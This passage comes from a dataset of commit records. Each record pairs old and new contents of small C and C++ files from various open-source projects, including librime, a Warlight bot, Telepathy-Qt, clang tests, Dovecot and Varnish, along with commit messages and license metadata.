RIME_COMMON_H_\n","new_contents":"\/\/\n\/\/ Copyleft RIME Developers\n\/\/ License: GPLv3\n\/\/\n\/\/ 2011-03-14 GONG Chen <chen.sst@gmail.com>\n\/\/\n#ifndef RIME_COMMON_H_\n#define RIME_COMMON_H_\n\n#include <memory>\n#include <utility>\n#define BOOST_BIND_NO_PLACEHOLDERS\n#include <boost\/signals2\/connection.hpp>\n#include <boost\/signals2\/signal.hpp>\n\n#ifdef RIME_ENABLE_LOGGING\n#include <glog\/logging.h>\n#else\n#include \"no_logging.h\"\n#endif  \/\/ RIME_ENABLE_LOGGING\n\nnamespace rime {\n\nusing boost::signals2::connection;\nusing boost::signals2::signal;\n\nusing std::unique_ptr;\nusing std::shared_ptr;\nusing std::weak_ptr;\n\ntemplate <class A, class B>\nshared_ptr<A> As(const B& ptr) {\n  return std::dynamic_pointer_cast<A>(ptr);\n}\n\ntemplate <class A, class B>\nbool Is(const B& ptr) {\n  return bool(As<A, B>(ptr));\n}\n\ntemplate <class T, class... Args>\ninline shared_ptr<T> New(Args&&... args) {\n  return std::make_shared<T>(std::forward<Args>(args)...);\n}\n\n}  \/\/ namespace rime\n\n#endif  \/\/ RIME_COMMON_H_\n","subject":"Fix a typo in the comment.","message":"Fix a typo in the comment.\n","lang":"C","license":"bsd-3-clause","repos":"kionz\/librime,j717273419\/librime,kionz\/librime,bygloam\/librime,rime\/librime,rime\/librime,jakwings\/librime,bygloam\/librime,bygloam\/librime,j717273419\/librime,rwduzhao\/librime,Prcuvu\/librime,Prcuvu\/librime,j717273419\/librime,rwduzhao\/librime,rwduzhao\/librime,kionz\/librime,jakwings\/librime,Prcuvu\/librime,jakwings\/librime,Prcuvu\/librime,rime\/librime,rime\/librime,Prcuvu\/librime,kionz\/librime"}
{"commit":"67053fa6cd61e995236f77bd525822a80a2b83aa","old_file":"src\/strategies\/BasicRoundStrategy.h","new_file":"src\/strategies\/BasicRoundStrategy.h","old_contents":"\/\/ This program is free software licenced under MIT Licence. You can\n\/\/ find a copy of this licence in LICENCE.txt in the top directory of\n\/\/ source code.\n\/\/\n\n#ifndef BASIC_ROUND_STRATEGY_H_INCLUDED\n#define BASIC_ROUND_STRATEGY_H_INCLUDED\n\n\n\/\/ Project\n#include \"globals.h\"\n#include \"RoundStrategy.h\"\n\n\nnamespace warlightAi {\n\n\/\/ Fwrd decls\nclass World;\n\nclass BasicRoundStrategy : public RoundStrategy\n{\npublic:\n    BasicRoundStrategy(const World &world, int availableArmies);\n\n    VecOfPairs getDeployments() const;\n    VecOfTuples getAttacks() const;\n\nprivate:\n    VecOfPairs m_deployments;\n    VecOfTuples m_attacks;\n\n}; \/\/ class BasicRoundStrategy\n\n} \/\/ namespace warlightAi\n\n\n#endif \/\/ BASIC_ROUND_STRATEGY_H_INCLUDED\n","new_contents":"\/\/ This program is free software licenced under MIT Licence. You can\n\/\/ find a copy of this licence in LICENCE.txt in the top directory of\n\/\/ source code.\n\/\/\n\n#ifndef BASIC_ROUND_STRATEGY_H_INCLUDED\n#define BASIC_ROUND_STRATEGY_H_INCLUDED\n\n\n\/\/ Project\n#include \"globals.h\"\n#include \"RoundStrategy.h\"\n\n\nnamespace warlightAi {\n\n\/\/ Fwrd decls\nclass World;\n\nclass BasicRoundStrategy : public RoundStrategy\n{\npublic:\n    BasicRoundStrategy(const World &world, int availableArmies);\n\n    VecOfPairs getDeployments() const override;\n    VecOfTuples getAttacks() const override;\n\nprivate:\n    VecOfPairs m_deployments;\n    VecOfTuples m_attacks;\n\n}; \/\/ class BasicRoundStrategy\n\n} \/\/ namespace warlightAi\n\n\n#endif \/\/ BASIC_ROUND_STRATEGY_H_INCLUDED\n","subject":"Add override after overriden methods","message":"Add override after overriden methods\n","lang":"C","license":"mit","repos":"calincru\/Warlight-AI-Challenge-2-Bot,calincru\/Warlight-AI-Challenge-2-Bot"}
{"commit":"518c6e2ec1dd9b4ad8bd9b52b35ae2ba0a05594e","old_file":"mpi_ls_affinity.c","new_file":"mpi_ls_affinity.c","old_contents":"","new_contents":"\/*\nCopyright (c) 2013 Janne Blomqvist\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be included\nin all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n*\/\n\n#include <hwloc.h>\n#include <errno.h>\n#include <stdio.h>\n#include <string.h>\n\n#ifdef _OPENMP\n#include <omp.h>\n#endif\n\n#ifdef MPI\n#include <mpi.h>\n#endif\n\nstatic hwloc_topology_t topo;\n\nstatic void print_cpu_bind(FILE* f, int rank, int threadid)\n{\n\tchar* s;\n\thwloc_bitmap_t cpuset = hwloc_bitmap_alloc();\n\n\t\/* get the current thread CPU location *\/\n\thwloc_get_cpubind(topo, cpuset, HWLOC_CPUBIND_THREAD);\n\thwloc_bitmap_asprintf(&s, cpuset);\n\tfprintf(f, \"MPI rank %d thread %d running on %s\\n\", rank, threadid, \n\t\ts);\n}\n\nint main(int argc, char **argv)\n{\n\tint rank = 0;\n\thwloc_topology_init(&topo);\n\thwloc_topology_load(topo);\n\n#ifdef MPI\n\tMPI_Init(&argc, &argv);\n\tMPI_Comm_rank(MPI_COMM_WORLD, &rank);\n#endif\n\n\n\t#pragma omp parallel\n\t{\n#ifdef _OPENMP\n\t\tint threadid = omp_get_thread_num();\n#else\n\t\tint threadid = 0;\n#endif\n\t\tprint_cpu_bind(stdout, rank, threadid);\n\t}\n\n#ifdef MPI\n\tMPI_Finalize();\n#endif\n\treturn 0;\n}\n","subject":"Test program to get CPU affinity of an MPI application","message":"Test program to get CPU affinity of an MPI application\n","lang":"C","license":"mit","repos":"jabl\/ls_affinity"}
{"commit":"35ae6c5ab2c6945d346a45dedc095dc54f8b8a03","old_file":"lib\/src\/downloader\/download-query-loader.h","new_file":"lib\/src\/downloader\/download-query-loader.h","old_contents":"#ifndef DOWNLOAD_QUERY_LOADER_H\n#define DOWNLOAD_QUERY_LOADER_H\n\n#include <QString>\n\n\nclass Site;\nclass DownloadQueryImage;\nclass DownloadQueryGroup;\n\nclass DownloadQueryLoader\n{\n\tpublic:\n\t\tstatic bool load(QString path, QList<DownloadQueryImage> &uniques, QList<DownloadQueryGroup> &batchs, QMap<QString, Site*> &sites);\n\t\tstatic bool save(QString path, QList<DownloadQueryImage> &uniques, QList<DownloadQueryGroup> &batchs);\n};\n\n#endif \/\/ DOWNLOAD_QUERY_LOADER_H\n","new_contents":"#ifndef DOWNLOAD_QUERY_LOADER_H\n#define DOWNLOAD_QUERY_LOADER_H\n\n#include <QString>\n#include <QList>\n#include <QMap>\n\n\nclass Site;\nclass DownloadQueryImage;\nclass DownloadQueryGroup;\n\nclass DownloadQueryLoader\n{\n\tpublic:\n\t\tstatic bool load(QString path, QList<DownloadQueryImage> &uniques, QList<DownloadQueryGroup> &batchs, QMap<QString, Site*> &sites);\n\t\tstatic bool save(QString path, QList<DownloadQueryImage> &uniques, QList<DownloadQueryGroup> &batchs);\n};\n\n#endif \/\/ DOWNLOAD_QUERY_LOADER_H\n","subject":"Include QList and QMap to header file to fix build","message":"Include QList and QMap to header file to fix build\n","lang":"C","license":"apache-2.0","repos":"Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber,Bionus\/imgbrd-grabber"}
{"commit":"03c66d522256b7cc8a266625e5f16f4b63b6c303","old_file":"windows\/dirent.h","new_file":"windows\/dirent.h","old_contents":"#ifndef _TOKU_DIRENT_H\n#define _TOKU_DIRENT_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/The DIR functions do not exist in windows, but the Linux API ends up\n\/\/just using a wrapper.  We might convert these into an toku_os_* type api.\n\nenum {\n    DT_UNKNOWN = 0,\n    DT_DIR     = 4,\n    DT_REG     = 8\n};\n\nstruct dirent {\n    char          d_name[_MAX_PATH];\n    unsigned char d_type;\n};\n\nstruct __toku_windir;\ntypedef struct __toku_windir DIR;\n\n\nDIR *opendir(const char *name);\n\nstruct dirent *readdir(DIR *dir);\n\nint closedir(DIR *dir);\n\n#ifndef NAME_MAX\n#define NAME_MAX 255\n#endif\n\n#if defined(__cplusplus)\n};\n#endif\n\n#endif\n\n","new_contents":"#ifndef _TOKU_DIRENT_H\n#define _TOKU_DIRENT_H\n\n#include \"toku_os_types.h\"\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/The DIR functions do not exist in windows, but the Linux API ends up\n\/\/just using a wrapper.  We might convert these into an toku_os_* type api.\n\nenum {\n    DT_UNKNOWN = 0,\n    DT_DIR     = 4,\n    DT_REG     = 8\n};\n\nstruct dirent {\n    char          d_name[_MAX_PATH];\n    unsigned char d_type;\n};\n\nstruct __toku_windir;\ntypedef struct __toku_windir DIR;\n\n\nDIR *opendir(const char *name);\n\nstruct dirent *readdir(DIR *dir);\n\nint closedir(DIR *dir);\n\n#ifndef NAME_MAX\n#define NAME_MAX 255\n#endif\n\n#if defined(__cplusplus)\n};\n#endif\n\n#endif\n\n","subject":"Fix broken windows build due to r19902 (merge of 2499d branch)","message":"[t:2499] Fix broken windows build due to r19902 (merge of 2499d branch)\n\ngit-svn-id: b5c078ec0b4d3a50497e9dd3081db18a5b4f16e5@19935 c7de825b-a66e-492c-adef-691d508d4ae1\n\n","lang":"C","license":"lgpl-2.1","repos":"ollie314\/server,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,natsys\/mariadb_10.2,davidl-zend\/zenddbi,natsys\/mariadb_10.2,natsys\/mariadb_10.2,ollie314\/server,ollie314\/server,davidl-zend\/zenddbi,natsys\/mariadb_10.2,natsys\/mariadb_10.2,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,slanterns\/server,natsys\/mariadb_10.2,natsys\/mariadb_10.2,ollie314\/server,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,ollie314\/server,flynn1973\/mariadb-aix,ollie314\/server,ollie314\/server,davidl-zend\/zenddbi,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,natsys\/mariadb_10.2,ollie314\/server,ollie314\/server,natsys\/mariadb_10.2,flynn1973\/mariadb-aix"}
{"commit":"8c890982a2aa318fcc632ee616e1c5398fa9eb91","old_file":"Settings\/Display.h","new_file":"Settings\/Display.h","old_contents":"#pragma once\n\n#include \"Tab.h\"\n\nclass Display : public Tab {\npublic:\n    virtual void SaveSettings();\n\nprotected:\n    virtual void Initialize();\n    virtual void LoadSettings();\n\nprivate:\n    bool OnAnimationChanged();\n    bool OnAnimationSpin(NMUPDOWN *ud);\n    bool OnCustomCheckChanged();\n    bool OnPositionChanged();\n\nprivate:\n    \/* Controls: *\/\n    Checkbox _onTop;\n    Checkbox _hideFullscreen;\n\n    ComboBox _position;\n    Label _customX;\n    EditBox _positionX;\n    Label _customY;\n    EditBox _positionY;\n    Checkbox _customDistance;\n    Spinner _edgeSpinner;\n    Label _displayDevLabel;\n    ComboBox _displayDevice;\n\n    ComboBox _animation;\n    Label _hideDelayLabel;\n    Spinner _hideDelay;\n    Label _hideSpeedLabel;\n    Spinner _hideSpeed;\n\nprivate:\n    \/* Strings: *\/\n    std::wstring primaryMonitorStr = L\"Primary Monitor\";\n    std::wstring allMonitorStr = L\"All Monitors\";\n    std::wstring customPositionStr = L\"Custom\";\n    std::wstring noAnimStr = L\"None\";\n\nprivate:\n    \/* Constants: *\/\n    const int MIN_EDGE = -65535;\n    const int MAX_EDGE = 65535;\n    const int MIN_MS = USER_TIMER_MINIMUM;\n    const int MAX_MS = 60000;\n};","new_contents":"#pragma once\n\n#include \"Tab.h\"\n\n#include <CommCtrl.h>\n\nclass Display : public Tab {\npublic:\n    virtual void SaveSettings();\n\nprotected:\n    virtual void Initialize();\n    virtual void LoadSettings();\n\nprivate:\n    bool OnAnimationChanged();\n    bool OnAnimationSpin(NMUPDOWN *ud);\n    bool OnCustomCheckChanged();\n    bool OnPositionChanged();\n\nprivate:\n    \/* Controls: *\/\n    Checkbox _onTop;\n    Checkbox _hideFullscreen;\n\n    ComboBox _position;\n    Label _customX;\n    EditBox _positionX;\n    Label _customY;\n    EditBox _positionY;\n    Checkbox _customDistance;\n    Spinner _edgeSpinner;\n    Label _displayDevLabel;\n    ComboBox _displayDevice;\n\n    ComboBox _animation;\n    Label _hideDelayLabel;\n    Spinner _hideDelay;\n    Label _hideSpeedLabel;\n    Spinner _hideSpeed;\n\nprivate:\n    \/* Strings: *\/\n    std::wstring primaryMonitorStr = L\"Primary Monitor\";\n    std::wstring allMonitorStr = L\"All Monitors\";\n    std::wstring customPositionStr = L\"Custom\";\n    std::wstring noAnimStr = L\"None\";\n\nprivate:\n    \/* Constants: *\/\n    const int MIN_EDGE = -65535;\n    const int MAX_EDGE = 65535;\n    const int MIN_MS = USER_TIMER_MINIMUM;\n    const int MAX_MS = 60000;\n    const int ANIM_SPIN_INCREMENT = 100;\n};","subject":"Add constant for spin increment","message":"Add constant for spin increment\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX"}
{"commit":"41bf86fc16dd31522953dff4b29241c98c082139","old_file":"tests\/sv-comp\/cfg\/path_true-unreach-call.c","new_file":"tests\/sv-comp\/cfg\/path_true-unreach-call.c","old_contents":"","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\nvoid __VERIFIER_assert(int cond) {\n    if (!(cond)) {\n        ERROR: __VERIFIER_error();\n    }\n    return;\n}\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    __VERIFIER_assert(x + y == 1);\n    return 0;\n}","subject":"Add basic (base analysis) path sensitivity test","message":"Add basic (base analysis) path sensitivity test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"1f1153dc7087845e1909bae381af106d39c13912","old_file":"tests\/pinocchio\/lib.h","new_file":"tests\/pinocchio\/lib.h","old_contents":"#include <QtCore\/QProcess>\n\n#include <QtDBus\/QtDBus>\n\n#include <QtTest\/QtTest>\n\n#include <TelepathyQt4\/Client\/PendingOperation>\n#include <TelepathyQt4\/Constants>\n\n#include \"tests\/lib\/test.h\"\n\nclass PinocchioTest : public Test\n{\n    Q_OBJECT\n\npublic:\n\n    PinocchioTest(QObject *parent = 0);\n\n    virtual ~PinocchioTest();\n\n    static inline QLatin1String pinocchioBusName()\n    {\n        return QLatin1String(\n            TELEPATHY_CONNECTION_MANAGER_BUS_NAME_BASE \"pinocchio\");\n    }\n\n    static inline QLatin1String pinocchioObjectPath()\n    {\n        return QLatin1String(\n            TELEPATHY_CONNECTION_MANAGER_OBJECT_PATH_BASE \"pinocchio\");\n    }\n\n    bool waitForPinocchio(uint timeoutMs = 5000);\n\nprotected:\n    QString mPinocchioPath;\n    QString mPinocchioCtlPath;\n    QProcess mPinocchio;\n    QEventLoop *mLoop;\n\n    virtual void initTestCaseImpl();\n\n    virtual void cleanupTestCaseImpl();\n\nprotected Q_SLOTS:\n    void gotNameOwner(QDBusPendingCallWatcher* watcher);\n    void onNameOwnerChanged(const QString&, const QString&, const QString&);\n};\n","new_contents":"#include <QtCore\/QProcess>\n\n#include <QtDBus\/QtDBus>\n\n#include <QtTest\/QtTest>\n\n#include <TelepathyQt4\/Client\/PendingOperation>\n#include <TelepathyQt4\/Constants>\n\n#include \"tests\/lib\/test.h\"\n\nclass PinocchioTest : public Test\n{\n    Q_OBJECT\n\npublic:\n\n    PinocchioTest(QObject *parent = 0);\n\n    virtual ~PinocchioTest();\n\n    static inline QLatin1String pinocchioBusName()\n    {\n        return QLatin1String(\n            TELEPATHY_CONNECTION_MANAGER_BUS_NAME_BASE \"pinocchio\");\n    }\n\n    static inline QLatin1String pinocchioObjectPath()\n    {\n        return QLatin1String(\n            TELEPATHY_CONNECTION_MANAGER_OBJECT_PATH_BASE \"pinocchio\");\n    }\n\n    bool waitForPinocchio(uint timeoutMs = 5000);\n\nprotected:\n    QString mPinocchioPath;\n    QString mPinocchioCtlPath;\n    QProcess mPinocchio;\n\n    virtual void initTestCaseImpl();\n\n    virtual void cleanupTestCaseImpl();\n\nprotected Q_SLOTS:\n    void gotNameOwner(QDBusPendingCallWatcher* watcher);\n    void onNameOwnerChanged(const QString&, const QString&, const QString&);\n};\n","subject":"Remove spurious mLoop member from PinocchioTest","message":"Remove spurious mLoop member from PinocchioTest\n\nHaving moved mLoop into the parent class, the fact that there's another\none here (uninitialized, and used for about half the functions) breaks\nthe tests.\n","lang":"C","license":"lgpl-2.1","repos":"TelepathyIM\/telepathy-qt,special\/telepathy-qt-upstream,tiagosh\/telepathy-qt,TelepathyQt\/telepathy-qt,anantkamath\/telepathy-qt,anantkamath\/telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4,tiagosh\/telepathy-qt,TelepathyIM\/telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt,special\/telepathy-qt-upstream,TelepathyIM\/telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4,special\/telepathy-qt-upstream,freedesktop-unofficial-mirror\/telepathy__telepathy-qt,TelepathyIM\/telepathy-qt,TelepathyQt\/telepathy-qt,TelepathyQt\/telepathy-qt,detrout\/telepathy-qt,TelepathyQt\/telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4,detrout\/telepathy-qt,detrout\/telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4,tiagosh\/telepathy-qt,freedesktop-unofficial-mirror\/telepathy__telepathy-qt,anantkamath\/telepathy-qt,TelepathyIM\/telepathy-qt,tiagosh\/telepathy-qt"}
{"commit":"99b0d43bdf67fc060df5e5b541d72e6e3723a391","old_file":"chap1\/charcount.c","new_file":"chap1\/charcount.c","old_contents":"#include <stdio.h>\n\nint main() \n{\n    long nc = 0;\n\n    while (getchar() != EOF) {\n        ++nc;\n    }\n\n    printf(\"count: %d\\n\", nc);\n}\n","new_contents":"#include <stdio.h>\n\nint main() \n{\n    double nc = 0;\n\n    for (nc = 0; getchar() != EOF; ++nc)\n        ;\n\n    printf(\"count: %f\\n\", nc);\n}\n","subject":"Use dirty C tricks to make it smaller","message":"Use dirty C tricks to make it smaller\n","lang":"C","license":"mit","repos":"jabocg\/theclang"}
{"commit":"9ff982c1ae369eeb29f416251c63721a9c8738bf","old_file":"test\/CodeGen\/2009-06-01-addrofknr.c","new_file":"test\/CodeGen\/2009-06-01-addrofknr.c","old_contents":"\/\/ RUN: clang-cc %s -o %t -emit-llvm -verify\n\/\/ PR4289\n\nstruct funcptr {\n  int (*func)();\n};\n\nstatic int func(f)\n  void *f;\n{\n  return 0;\n}\n\nint\nmain(int argc, char *argv[])\n{\n  struct funcptr fp;\n\n  fp.func = &func;\n  fp.func = func;\n  return 0;\n}\n","new_contents":"\/\/ RUN: clang-cc %s -o %t -emit-llvm -verify\n\/\/ PR4289\n\nstruct funcptr {\n  int (*func)();\n};\n\nstatic int func(f)\n  void *f;\n{\n  return 0;\n}\n\nint\nmain(int argc, char *argv[])\n{\n  struct funcptr fp;\n\n  fp.func = &func;\n  fp.func = func;\n}\n","subject":"Revert this, was a bug in my new warning code, not the test case.","message":"Revert this, was a bug in my new warning code, not the test case.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@76690 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ebb0c49aa4b45a4778ec270c99b872873d4d37a6","old_file":"starlight.h","new_file":"starlight.h","old_contents":"#pragma once\n#include <string>\n\n#if 0\nint Stricmp(const char* str1, const char* str2) {\n\tint d;\n\twhile ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++;\n\t\tstr2++;\n\t}\n\treturn d;\n}\n\nint Strnicmp(const char* str1, const char* str2, int count) {\n\tint d = 0;\n\twhile (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++; str2++; count--;\n\t}\n\treturn d;\n}\n#endif\n\n#ifdef _MSC_VER\n#define SL_CALL __vectorcall\n#else\n#define SL_CALL\n#endif\n\n#define COUNT_OF(X) (sizeof(X) \/ sizeof((X)[0]))\n#define ZERO_MEM(X, Y) (memset(X, 0, Y));","new_contents":"#pragma once\n#include <string>\n\n#if 0\nint Stricmp(const char* str1, const char* str2) {\n\tint d;\n\twhile ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++;\n\t\tstr2++;\n\t}\n\treturn d;\n}\n\nint Strnicmp(const char* str1, const char* str2, int count) {\n\tint d = 0;\n\twhile (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) {\n\t\tstr1++; str2++; count--;\n\t}\n\treturn d;\n}\n#endif\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1800)\n#define SL_CALL __vectorcall\n#else\n#define SL_CALL\n#endif\n\n#define COUNT_OF(X) (sizeof(X) \/ sizeof((X)[0]))\n#define ZERO_MEM(X, Y) (memset(X, 0, Y));","subject":"Remove __vectorcall calling convention on older versions of MSVC++","message":"Remove __vectorcall calling convention on older versions of MSVC++\n","lang":"C","license":"mit","repos":"darkedge\/starlight,darkedge\/starlight,darkedge\/starlight"}
{"commit":"17135f7fdf4e4757570805be06fff3c7ae13ec3e","old_file":"base\/win\/comptr.h","new_file":"base\/win\/comptr.h","old_contents":"","new_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2017 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_WIN_COMPTR_H_INCLUDED\n#define BASE_WIN_COMPTR_H_INCLUDED\n#pragma once\n\n#if !defined(_WIN32)\n  #error This header file can be used only on Windows platform\n#endif\n\n#include \"base\/disable_copying.h\"\n\nnamespace base {\n\n  template<class T>\n  class ComPtr {\n  public:\n    ComPtr() : m_ptr(nullptr) { }\n    ~ComPtr() { reset(); }\n    T** operator&() { return &m_ptr; }\n    T* operator->() { return m_ptr; }\n\n    T* get() {\n      return m_ptr;\n    }\n\n    void reset() {\n      if (m_ptr) {\n        m_ptr->Release();\n        m_ptr = nullptr;\n      }\n    }\n\n  private:\n    T* m_ptr;\n\n    DISABLE_COPYING(ComPtr);\n  };\n\n} \/\/ namespace base\n\n#endif\n","subject":"Add ComPtr utility to laf-base library","message":"Add ComPtr utility to laf-base library\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"797a01fb912a5d121649726f4f7956a9c5da9f16","old_file":"tests\/regression\/02-base\/51-empty-not-dead.c","new_file":"tests\/regression\/02-base\/51-empty-not-dead.c","old_contents":"","new_contents":"\/\/PARAM: --set ana.activated '[\"base\", \"mallocWrapper\"]'\n\/\/ Copied & modified from 33\/04.\n#include <assert.h>\n\nint main() {\n    \/\/ state: {bot}, because no locals\/globals\n    assert(1); \/\/ state: {bot}, because Hoare set add (in PathSensitive2 map) keeps bot, while reduce would remove\n    assert(1); \/\/ state: {bot}, because Hoare set add (in PathSensitive2 map) keeps bot, while reduce would remove\n    return 0;\n}\n","subject":"Add test where base has live bottom state","message":"Add test where base has live bottom state\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"77378e0ff43a3fc1074c3eac22dbf25d1686fece","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.","message":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"bf3b21090f3081c379cffb8f28cecfe6cb28591b","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(HD_Unknown)\nSLTM(HD_Lost)\n#define HTTPH(a, b, c, d, e, f, g)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(HD_Unknown)\nSLTM(HD_Lost)\n#define HTTPH(a, b, c, d, e, f, g)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","subject":"Add a Debug shmemlog tag.","message":"Add a Debug shmemlog tag.\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@104 